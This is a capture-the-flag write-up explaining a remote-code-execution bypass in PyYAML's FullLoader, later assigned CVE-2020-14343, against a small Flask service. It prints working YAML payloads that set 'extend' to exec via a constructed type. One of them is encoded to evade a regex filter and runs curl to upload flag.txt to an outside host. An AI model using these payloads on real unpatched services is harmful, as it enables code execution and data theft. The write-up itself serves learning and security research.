Update: It was assigned as CVE-2020-14343 after the contest.
This was a fun challenge exploiting a deserialize service in Python.
The server is using pyYAML and Flask, with the source code below:
from flask import Flask, session, request, make_response
import yaml
import re
import os
app = Flask(__name__)
app.secret_key = os.urandom(16)
@app.route('/', methods=["POST"])
def pwnme():
if not re.fullmatch(b"^[\n --/-\]a-}]*$", request.data, flags=re.MULTILINE):
return "Nice try!", 400
return yaml.load(request.data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Bascially it is a service to do yaml.load() to your input and print it (return) with limitation to block some special character (especially .
and _
)
The version of pyYAML and flask is both at latest release, so its not with an challenge with an existing CVE.
We noticed that yaml.load
is "unsafe" by the README:
When LibYAML bindings are installed, you may use fast LibYAML-based
parser and emitter as follows:
>>> yaml.load(stream, Loader=yaml.CLoader)
>>> yaml.dump(data, Dumper=yaml.CDumper)
If you don't trust the input stream, you should use:
>>> yaml.safe_load(stream)
So we dig into the internals of yaml loader.
From the source code, when loader is not provided, it uses FullLoader
def load(stream, Loader=None):
"""
Parse the first YAML document in a stream
and produce the corresponding Python object.
"""
if Loader is None:
load_warning('load')
Loader = FullLoader
loader = Loader(stream)
try:
return loader.get_single_data()
finally:
loader.dispose()
And FullLoader
uses FullConstructor
to construct the python objects in:
https://github.com/yaml/pyyaml/blob/5.3.1/lib3/yaml/constructor.py
The differences of FullConstructor
and UnsafeConstructor
is, UnsafeConstructor can uses the yaml tag: python/object/apply
(that can be used to call functions) and it doesn't block some reserved keywords.
From there, we guessed the challenge was to do an RCE using python/object/new
tag (that is available in FullConstructor) and somehow bypass the CVE-2020-1747 fixes.
(With the POC here)
The CVE-2020-1747 exploits the fact that user can input a object with a customized extend
function, so that after the object is constructed (with python/object/new
/ python/object/apply
), it can trigger the function extend
as it is used by the constructor as below:
def construct_python_object_apply(self, suffix, node, newobj=False):
...
instance = self.make_python_instance(suffix, node, args, kwds, newobj)
if state:
self.set_python_instance_state(instance, state)
if listitems:
instance.extend(listitems)
if dictitems:
for key in dictitems:
instance[key] = dictitems[key]
return instance
While the format of python/object/apply
can supply states for the object, we can use python/name
to reference a python internal function (exec, eval etc). We cannot use an module function as .
and _
is blocked, so the CVE PoC cannot be used. (and it used apply, which is blocked by FullConstructor
)
# !!python/object/apply # (or !!python/object/new)
# args: [ ... arguments ... ]
# kwds: { ... keywords ... }
# state: ... state ...
# listitems: [ ... listitems ... ]
# dictitems: { ... dictitems ... }
# or short format:
# !!python/object/apply [ ... arguments ... ]
The 5.3.1 fixes also blocked the key extend
and ^__.*__$
to disallow setting those key with the state parameter.
We discovered that we can use python/object/new
with type
constructor (type
is a type...) to create new types with some customized internal state. With this, we can bypass the state
key block mechanism and freely set our object to something like this:
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
With this we can put our commands to listitems
, and the constructor will call instance.extend(listitems)
, thus finish our RCE exploit.
Full payload:
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('curl -POST mil1\x2eml/jm9 -F x=@flag\x2etxt')"
(We changed _
to \x5f
and .
to \x2e
to bypass the regex limitation)
The intended solution uses map
as a type (as it is a type in Python 3):
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'PAYLOAD_HERE' ]]]
This is essentially the python code tuple(map(eval, "PAYLOAD")))
, and this works as map
and tuple
are both class constructor (so it doesnt use any function as apply calls).
Thanks for the author for such cool challenge (basically used a 0day for the CTF challenge).